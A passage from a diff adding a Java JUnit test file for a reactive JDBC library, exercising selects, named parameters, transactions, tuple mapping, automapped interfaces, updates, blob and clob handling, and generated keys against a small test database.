+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingName() {
+        try (Database db = db()) {
+            db //
+                    .select("select score from person where name=:name") //
+                    .parameter("name", "FRED") //
+                    .parameter("name", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingNameNotGiven() {
+        try (Database db = db()) {
+            db //
+                    .select("select score from person where name=:name and name<>:name2") //
+                    .parameter("name", "FRED") //
+                    .parameter("name", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertError(NamedParameterMissingException.class) //
+                    .assertNoValues();
+        }
+    }
+
+    @Test
+    public void testSelectUsingParameterNameNullNameWhenSqlHasNoNames() {
+        db() //
+                .select("select score from person where name=?") //
+                .parameter(Parameter.create("name", "FRED")) //
+                .getAs(Integer.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertError(NamedParameterFoundButSqlDoesNotHaveNamesException.class) //
+                .assertNoValues();
+    }
+
+    @Test
+    public void testUpdateWithNull() {
+        try (Database db = db()) {
+            db //
+                    .update("update person set date_of_birth = :dob") //
+                    .parameter(Parameter.create("dob", null)) //
+                    .counts() //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(3) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testUpdateClobWithNull() {
+        try (Database db = db()) {
+            insertNullClob(db);
+            db //
+                    .update("update person_clob set document = :doc") //
+                    .parameter("doc", Database.NULL_CLOB) //
+                    .counts() //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(1) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testUpdateClobWithClob() throws SQLException {
+        try (Database db = db()) {
+            Clob clob = new JDBCClobFile(new File("src/test/resources/big.txt"));
+            insertNullClob(db);
+            db //
+                    .update("update person_clob set document = :doc") //
+                    .parameter("doc", clob) //
+                    .counts() //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(1) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testUpdateClobWithReader() throws FileNotFoundException {
+        try (Database db = db()) {
+            Reader reader = new FileReader(new File("src/test/resources/big.txt"));
+            insertNullClob(db);
+            db //
+                    .update("update person_clob set document = :doc") //
+                    .parameter("doc", reader) //
+                    .counts() //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(1) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testUpdateBlobWithBlob() throws SQLException {
+        try (Database db = db()) {
+            Blob blob = new JDBCBlobFile(new File("src/test/resources/big.txt"));
+            insertPersonBlob(db);
+            db //
+                    .update("update person_blob set document = :doc") //
+                    .parameter("doc", blob) //
+                    .counts() //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(1) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testUpdateBlobWithNull() {
+        try (Database db = db()) {
+            insertPersonBlob(db);
+            db //
+                    .update("update person_blob set document = :doc") //
+                    .parameter("doc", Database.NULL_BLOB) //
+                    .counts() //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(1) //
+                    .assertComplete();
+        }
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testSelectUsingNullNameInParameter() {
+        try (Database db = db()) {
+            db //
+                    .select("select score from person where name=:name") //
+                    .parameter(null, "FRED"); //
+        }
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testSelectUsingNameDoesNotExist() {
+        try (Database db = db()) {
+            db //
+                    .select("select score from person where name=:name") //
+                    .parameters("nam", "FRED");
+        }
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testSelectUsingNameWithoutSpecifyingNameThrowsImmediately() {
+        try (Database db = db()) {
+            db //
+                    .select("select score from person where name=:name") //
+                    .parameters("FRED", "JOSEPH");
+        }
+    }
+
+    @Test
+    public void testSelectTransacted() {
+        try (Database db = db()) {
+            db //
+                    .select("select score from person where name=?") //
+                    .parameters("FRED", "JOSEPH") //
+                    .transacted() //
+                    .getAs(Integer.class) //
+                    .doOnNext(tx -> log
+                            .debug(tx.isComplete() ? "complete" : String.valueOf(tx.value()))) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValueCount(3) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectAutomappedAnnotatedTransacted() {
+        try (Database db = db()) {
+            db //
+                    .select(Person10.class) //
+                    .transacted() //
+                    .valuesOnly() //
+                    .get().test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValueCount(3) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectAutomappedTransactedValuesOnly() {
+        try (Database db = db()) {
+            db //
+                    .select("select name, score from person") //
+                    .transacted() //
+                    .valuesOnly() //
+                    .autoMap(Person2.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValueCount(3) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectAutomappedTransacted() {
+        try (Database db = db()) {
+            db //
+                    .select("select name, score from person") //
+                    .transacted() //
+                    .autoMap(Person2.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValueCount(4) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectTransactedTuple2() {
+        try (Database db = db()) {
+            Tx<Tuple2<String, Integer>> t = db //
+                    .select("select name, score from person where name=?") //
+                    .parameters("FRED") //
+                    .transacted() //
+                    .getAs(String.class, Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValueCount(2) //
+                    .assertComplete() //
+                    .values().get(0);
+            assertEquals("FRED", t.value()._1());
+            assertEquals(21, (int) t.value()._2());
+        }
+    }
+
+    @Test
+    public void testSelectTransactedTuple3() {
+        try (Database db = db()) {
+            Tx<Tuple3<String, Integer, String>> t = db //
+                    .select("select name, score, name from person where name=?") //
+                    .parameters("FRED") //
+                    .transacted() //
+                    .getAs(String.class, Integer.class, String.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValueCount(2) //
+                    .assertComplete() //
+                    .values().get(0);
+            assertEquals("FRED", t.value()._1());
+            assertEquals(21, (int) t.value()._2());
+            assertEquals("FRED", t.value()._3());
+        }
+    }
+
+    @Test
+    public void testSelectTransactedTuple4() {
+        try (Database db = db()) {
+            Tx<Tuple4<String, Integer, String, Integer>> t = db //
+                    .select("select name, score, name, score from person where name=?") //
+                    .parameters("FRED") //
+                    .transacted() //
+                    .getAs(String.class, Integer.class, String.class, Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValueCount(2) //
+                    .assertComplete() //
+                    .values().get(0);
+            assertEquals("FRED", t.value()._1());
+            assertEquals(21, (int) t.value()._2());
+            assertEquals("FRED", t.value()._3());
+            assertEquals(21, (int) t.value()._4());
+        }
+    }
+
+    @Test
+    public void testSelectTransactedTuple5() {
+        try (Database db = db()) {
+            Tx<Tuple5<String, Integer, String, Integer, String>> t = db //
+                    .select("select name, score, name, score, name from person where name=?") //
+                    .parameters("FRED") //
+                    .transacted() //
+                    .getAs(String.class, Integer.class, String.class, Integer.class, String.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValueCount(2) //
+                    .assertComplete() //
+                    .values().get(0);
+            assertEquals("FRED", t.value()._1());
+            assertEquals(21, (int) t.value()._2());
+            assertEquals("FRED", t.value()._3());
+            assertEquals(21, (int) t.value()._4());
+            assertEquals("FRED", t.value()._5());
+        }
+    }
+
+    @Test
+    public void testSelectTransactedTuple6() {
+        try (Database db = db()) {
+            Tx<Tuple6<String, Integer, String, Integer, String, Integer>> t = db //
+                    .select("select name, score, name, score, name, score from person where name=?") //
+                    .parameters("FRED") //
+                    .transacted() //
+                    .getAs(String.class, Integer.class, String.class, Integer.class, String.class,
+                            Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValueCount(2) //
+                    .assertComplete() //
+                    .values().get(0);
+            assertEquals("FRED", t.value()._1());
+            assertEquals(21, (int) t.value()._2());
+            assertEquals("FRED", t.value()._3());
+            assertEquals(21, (int) t.value()._4());
+            assertEquals("FRED", t.value()._5());
+            assertEquals(21, (int) t.value()._6());
+        }
+    }
+
+    @Test
+    public void testSelectTransactedTuple7() {
+        try (Database db = db()) {
+            Tx<Tuple7<String, Integer, String, Integer, String, Integer, String>> t = db //
+                    .select("select name, score, name, score, name, score, name from person where name=?") //
+                    .parameters("FRED") //
+                    .transacted() //
+                    .getAs(String.class, Integer.class, String.class, Integer.class, String.class,
+                            Integer.class, String.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValueCount(2) //
+                    .assertComplete() //
+                    .values().get(0);
+            assertEquals("FRED", t.value()._1());
+            assertEquals(21, (int) t.value()._2());
+            assertEquals("FRED", t.value()._3());
+            assertEquals(21, (int) t.value()._4());
+            assertEquals("FRED", t.value()._5());
+            assertEquals(21, (int) t.value()._6());
+            assertEquals("FRED", t.value()._7());
+        }
+    }
+
+    @Test
+    public void testSelectTransactedTupleN() {
+        List<Tx<TupleN<Object>>> list = db() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .getTupleN() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(2) //
+                .assertComplete() //
+                .values();
+        assertEquals("FRED", list.get(0).value().values().get(0));
+        assertEquals(21, (int) list.get(0).value().values().get(1));
+        assertTrue(list.get(1).isComplete());
+        assertEquals(2, list.size());
+    }
+
+    @Test
+    public void testSelectTransactedCount() {
+        db() //
+                .select("select name, score, name, score, name, score, name from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .count() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectTransactedGetAs() {
+        db() //
+                .select("select name from person") //
+                .transacted() //
+                .getAs(String.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(4) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectTransactedGetAsOptional() {
+        List<Tx<Optional<String>>> list = db() //
+                .select("select name from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .getAsOptional(String.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(2) //
+                .assertComplete() //
+                .values();
+        assertTrue(list.get(0).isValue());
+        assertEquals("FRED", list.get(0).value().get());
+        assertTrue(list.get(1).isComplete());
+    }
+
+    @Test
+    public void testDatabaseFrom() {
+        Database.from(DatabaseCreator.nextUrl(), 3) //
+                .select("select name from person") //
+                .getAs(String.class) //
+                .count() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertError(JdbcSQLException.class);
+    }
+
+    @Test
+    public void testSelectTransactedChained() throws Exception {
+        Database db = db();
+        db //
+                .select("select score from person where name=?") //
+                .parameters("FRED", "JOSEPH") //
+                .transacted() //
+                .transactedValuesOnly() //
+                .getAs(Integer.class) //
+                .doOnNext(
+                        tx -> log.debug(tx.isComplete() ? "complete" : String.valueOf(tx.value())))//
+                .flatMap(tx -> tx //
+                        .select("select name from person where score = ?") //
+                        .parameter(tx.value()) //
+                        .valuesOnly() //
+                        .getAs(String.class)) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValues("FRED", "JOSEPH") //
+                .assertComplete();
+    }
+
+    @Test
+    public void databaseIsAutoCloseable() {
+        try (Database db = db()) {
+            log.debug(db.toString());
+        }
+    }
+
+    @Test
+    public void testSelectChained() {
+        try (Database db = db(1)) {
+            // we can do this with 1 connection only!
+            db.select("select score from person where name=?") //
+                    .parameters("FRED", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .doOnNext(System.out::println) //
+                    .concatMap(score -> {
+                        log.info("score={}", score);
+                        return db //
+                                .select("select name from person where score = ?") //
+                                .parameter(score) //
+                                .getAs(String.class) //
+                                .doOnComplete(
+                                        () -> log.info("completed select where score=" + score));
+                    }) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues("FRED", "JOSEPH") //
+                    .assertComplete(); //
+        }
+    }
+
+    @Test
+    @SuppressFBWarnings
+    public void testReadMeFragment1() {
+        try (Database db = db()) {
+            db.select("select name from person") //
+                    .getAs(String.class) //
+                    .forEach(System.out::println);
+        }
+    }
+
+    @Test
+    public void testReadMeFragmentColumnDoesNotExistEmitsSqlSyntaxErrorException() {
+        try (Database db = Database.test()) {
+            db.select("select nam from person") //
+                    .getAs(String.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoValues() //
+                    .assertError(SQLSyntaxErrorException.class);
+        }
+    }
+
+    @Test
+    public void testReadMeFragmentDerbyHealthCheck() {
+        try (Database db = Database.test()) {
+            db.select("select 'a' from sysibm.sysdummy1") //
+                    .getAs(String.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue("a") //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    @SuppressFBWarnings
+    public void testTupleSupport() {
+        try (Database db = db()) {
+            db.select("select name, score from person") //
+                    .getAs(String.class, Integer.class) //
+                    .forEach(System.out::println);
+        }
+    }
+
+    @Test
+    public void testDelayedCallsAreNonBlocking() throws InterruptedException {
+        List<String> list = new CopyOnWriteArrayList<String>();
+        try (Database db = db(1)) { //
+            db.select("select score from person where name=?") //
+                    .parameter("FRED") //
+                    .getAs(Integer.class) //
+                    .doOnNext(x -> Thread.sleep(1000)) //
+                    .subscribeOn(Schedulers.io()) //
+                    .subscribe();
+            Thread.sleep(100);
+            CountDownLatch latch = new CountDownLatch(1);
+            db.select("select score from person where name=?") //
+                    .parameter("FRED") //
+                    .getAs(Integer.class) //
+                    .doOnNext(x -> list.add("emitted")) //
+                    .doOnNext(x -> log.debug("emitted on " + Thread.currentThread().getName())) //
+                    .doOnNext(x -> latch.countDown()) //
+                    .subscribe();
+            list.add("subscribed");
+            assertTrue(latch.await(TIMEOUT_SECONDS, TimeUnit.SECONDS));
+            assertEquals(Arrays.asList("subscribed", "emitted"), list);
+        }
+    }
+
+    @Test
+    public void testAutoMapToInterface() {
+        try (Database db = db()) {
+            db //
+                    .select("select name from person") //
+                    .autoMap(Person.class) //
+                    .map(p -> p.name()) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValueCount(3) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithoutAnnotationstsError() {
+        try (Database db = db()) {
+            db //
+                    .select("select name from person") //
+                    .autoMap(PersonNoAnnotation.class) //
+                    .map(p -> p.name()) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoValues() //
+                    .assertError(AnnotationsNotFoundException.class);
+        }
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithTwoMethods() {
+        try (Database db = db()) {
+            db //
+                    .select("select name, score from person order by name") //
+                    .autoMap(Person2.class) //
+                    .firstOrError() //
+                    .map(Person2::score) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(21) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithExplicitColumnName() {
+        try (Database db = db()) {
+            db //
+                    .select("select name, score from person order by name") //
+                    .autoMap(Person3.class) //
+                    .firstOrError() //
+                    .map(Person3::examScore) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(21) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithExplicitColumnNameThatDoesNotExist() {
+        try (Database db = db()) {
+            db //
+                    .select("select name, score from person order by name") //
+                    .autoMap(Person4.class) //
+                    .firstOrError() //
+                    .map(Person4::examScore) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoValues() //
+                    .assertError(ColumnNotFoundException.class);
+        }
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithIndex() {
+        try (Database db = db()) {
+            db //
+                    .select("select name, score from person order by name") //
+                    .autoMap(Person5.class) //
+                    .firstOrError() //
+                    .map(Person5::examScore) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(21) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithIndexTooLarge() {
+        try (Database db = db()) {
+            db //
+                    .select("select name, score from person order by name") //
+                    .autoMap(Person6.class) //
+                    .firstOrError() //
+                    .map(Person6::examScore) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoValues() //
+                    .assertError(ColumnIndexOutOfRangeException.class);
+        }
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithIndexTooSmall() {
+        try (Database db = db()) {
+            db //
+                    .select("select name, score from person order by name") //
+                    .autoMap(Person7.class) //
+                    .firstOrError() //
+                    .map(Person7::examScore) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoValues() //
+                    .assertError(ColumnIndexOutOfRangeException.class);
+        }
+    }
+
+    @Test
+    public void testAutoMapWithUnmappableColumnType() {
+        try (Database db = db()) {
+            db //
+                    .select("select name from person order by name") //
+                    .autoMap(Person8.class) //
+                    .map(p -> p.name()) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoValues() //
+                    .assertError(ClassCastException.class);
+        }
+    }
+
+    @Test
+    public void testAutoMapWithMixIndexAndName() {
+        try (Database db = db()) {
+            db //
+                    .select("select name, score from person order by name") //
+                    .autoMap(Person9.class) //
+                    .firstOrError() //
+                    .map(Person9::score) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(21) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testAutoMapWithQueryInAnnotation() {
+        try (Database db = db()) {
+            db.select(Person10.class) //
+                    .get() //
+                    .firstOrError() //
+                    .map(Person10::score) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(21) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    @Ignore
+    public void testAutoMapForReadMe() {
+        Database //
+                .test() //
+                .select(Person10.class) //
+                .get(Person10::name) //
+                .blockingForEach(System.out::println);
+    }
+
+    @Test(expected = QueryAnnotationMissingException.class)
+    public void testAutoMapWithoutQueryInAnnotation() {
+        try (Database db = db()) {
+            db.select(Person.class);
+        }
+    }
+
+    @Test
+    public void testSelectWithoutWhereClause() {
+        try (Database db = db()) {
+            Assert.assertEquals(3, (long) db.select("select name from person") //
+                    .count() //
+                    .blockingGet());
+        }
+    }
+
+    @Test
+    public void testTuple3() {
+        try (Database db = db()) {
+            db //
+                    .select("select name, score, name from person order by name") //
+                    .getAs(String.class, Integer.class, String.class) //
+                    .firstOrError() //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertComplete() //
+                    .assertValue(Tuple3.create("FRED", 21, "FRED")); //
+        }
+    }
+
+    @Test
+    public void testTuple4() {
+        try (Database db = db()) {
+            db //
+                    .select("select name, score, name, score from person order by name") //
+                    .getAs(String.class, Integer.class, String.class, Integer.class) //
+                    .firstOrError() //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertComplete() //
+                    .assertValue(Tuple4.create("FRED", 21, "FRED", 21)); //
+        }
+    }
+
+    @Test
+    public void testTuple5() {
+        db() //
+                .select("select name, score, name, score, name from person order by name") //
+                .getAs(String.class, Integer.class, String.class, Integer.class, String.class) //
+                .firstOrError() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertComplete().assertValue(Tuple5.create("FRED", 21, "FRED", 21, "FRED")); //
+    }
+
+    @Test
+    public void testTuple6() {
+        db() //
+                .select("select name, score, name, score, name, score from person order by name") //
+                .getAs(String.class, Integer.class, String.class, Integer.class, String.class,
+                        Integer.class) //
+                .firstOrError() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertComplete().assertValue(Tuple6.create("FRED", 21, "FRED", 21, "FRED", 21)); //
+    }
+
+    @Test
+    public void testTuple7() {
+        db() //
+                .select("select name, score, name, score, name, score, name from person order by name") //
+                .getAs(String.class, Integer.class, String.class, Integer.class, String.class,
+                        Integer.class, String.class) //
+                .firstOrError() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertComplete()
+                .assertValue(Tuple7.create("FRED", 21, "FRED", 21, "FRED", 21, "FRED")); //
+    }
+
+    @Test
+    public void testTupleN() {
+        db() //
+                .select("select name, score, name from person order by name") //
+                .getTupleN() //
+                .firstOrError().test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertComplete() //
+                .assertValue(TupleN.create("FRED", 21, "FRED")); //
+    }
+
+    @Test
+    public void testHealthCheck() throws InterruptedException {
+        AtomicBoolean once = new AtomicBoolean(true);
+        testHealthCheck(c -> {
+            log.debug("doing health check");
+            return !once.compareAndSet(true, false);
+        });
+    }
+
+    @Test
+    public void testHealthCheckThatThrows() throws InterruptedException {
+        AtomicBoolean once = new AtomicBoolean(true);
+        testHealthCheck(c -> {
+            log.debug("doing health check");
+            if (!once.compareAndSet(true, false))
+                return true;
+            else
+                throw new RuntimeException("health check failed");
+        });
+    }
+
+    @Test
+    public void testUpdateOneRow() {
+        db().update("update person set score=20 where name='FRED'") //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateThreeRows() {
+        db().update("update person set score=20") //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithParameter() {
+        db().update("update person set score=20 where name=?") //
+                .parameter("FRED").counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithParameterTwoRuns() {
+        db().update("update person set score=20 where name=?") //
+                .parameters("FRED", "JOSEPH").counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateAllWithParameterFourRuns() {
+        db().update("update person set score=?") //
+                .parameters(1, 2, 3, 4) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3, 3, 3, 3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithBatchSize2() {
+        db().update("update person set score=?") //
+                .batchSize(2) //
+                .parameters(1, 2, 3, 4) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3, 3, 3, 3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithBatchSize3GreaterThanNumRecords() {
+        db().update("update person set score=?") //
+                .batchSize(3) //
+                .parameters(1, 2, 3, 4) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3, 3, 3, 3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testInsert() {
+        Database db = db();
+        db.update("insert into person(name, score) values(?,?)") //
+                .parameters("DAVE", 12, "ANNE", 18) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 1) //
+                .assertComplete();
+        List<Tuple2<String, Integer>> list = db.select("select name, score from person") //
+                .getAs(String.class, Integer.class) //
+                .toList() //
+                .timeout(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .blockingGet();
+        assertTrue(list.contains(Tuple2.create("DAVE", 12)));
+        assertTrue(list.contains(Tuple2.create("ANNE", 18)));
+    }
+
+    @Test
+    public void testReturnGeneratedKeys() {
+        Database db = db();
+        // note is a table with auto increment
+        db.update("insert into note(text) values(?)") //
+                .parameters("HI", "THERE") //
+                .returnGeneratedKeys() //
+                .getAs(Integer.class)//
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 2) //
+                .assertComplete();
+
+        db.update("insert into note(text) values(?)") //
+                .parameters("ME", "TOO") //
+                .returnGeneratedKeys() //
+                .getAs(Integer.class)//
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3, 4) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testReturnGeneratedKeysDerby() {
+        Database db = DatabaseCreator.createDerby(1);
+
+        // note is a table with auto increment
+        db.update("insert into note2(text) values(?)") //
+                .parameters("HI", "THERE") //
+                .returnGeneratedKeys() //
+                .getAs(Integer.class)//
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors().assertValues(1, 3) //
+                .assertComplete();
+
+        db.update("insert into note2(text) values(?)") //
+                .parameters("ME", "TOO") //
+                .returnGeneratedKeys() //
+                .getAs(Integer.class)//
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(5, 7) //
+                .assertComplete();
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testReturnGeneratedKeysWithBatchSizeShouldThrow() {
+        Database db = db();
+        // note is a table with auto increment
+        db.update("insert into note(text) values(?)") //
+                .parameters("HI", "THERE") //
+                .batchSize(2) //
+                .returnGeneratedKeys();
+    }
+
+    @Test
+    public void testTransactedReturnGeneratedKeys() {
+        Database db = db();
+        // note is a table with auto increment
+        db.update("insert into note(text) values(?)") //
+                .parameters("HI", "THERE") //
+                .transacted() //
+                .returnGeneratedKeys() //
+                .valuesOnly() //
+                .getAs(Integer.class)//
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 2) //
+                .assertComplete();
+
+        db.update("insert into note(text) values(?)") //
+                .parameters("ME", "TOO") //
+                .transacted() //
+                .returnGeneratedKeys() //
+                .valuesOnly() //
+                .getAs(Integer.class)//
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3, 4) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testTransactedReturnGeneratedKeys2() {
+        Database db = db();
+        // note is a table with auto increment
+        Flowable<Integer> a = db.update("insert into note(text) values(?)") //
+                .parameters("HI", "THERE") //
+                .transacted() //
+                .returnGeneratedKeys() //
+                .valuesOnly() //
+                .getAs(Integer.class);
+
+        db.update("insert into note(text) values(?)") //
+                .parameters("ME", "TOO") //
+                .transacted() //
+                .returnGeneratedKeys() //
+                .valuesOnly() //
+                .getAs(Integer.class)//
+                .startWith(a) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 2, 3, 4) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithinTransaction() {
+        db() //
+                .select("select name from person") //
+                .transactedValuesOnly() //
+                .getAs(String.class) //
+                .doOnNext(System.out::println) //
+                .flatMap(tx -> tx//
+                        .update("update person set score=-1 where name=:name") //
+                        .batchSize(1) //
+                        .parameter("name", tx.value()) //
+                        .valuesOnly() //
+                        .counts()) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 1, 1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectDependsOnFlowable() {
+        Database db = db();
+        Flowable<Integer> a = db.update("update person set score=100 where name=?") //
+                .parameter("FRED") //
+                .counts();
+        db.select("select score from person where name=?") //
+                .parameter("FRED") //
+                .dependsOn(a) //
+                .getAs(Integer.class)//
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(100) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectDependsOnObservable() {
+        Database db = db();
+        Observable<Integer> a = db.update("update person set score=100 where name=?") //
+                .parameter("FRED") //
+                .counts().toObservable();
+        db.select("select score from person where name=?") //
+                .parameter("FRED") //
+                .dependsOn(a) //
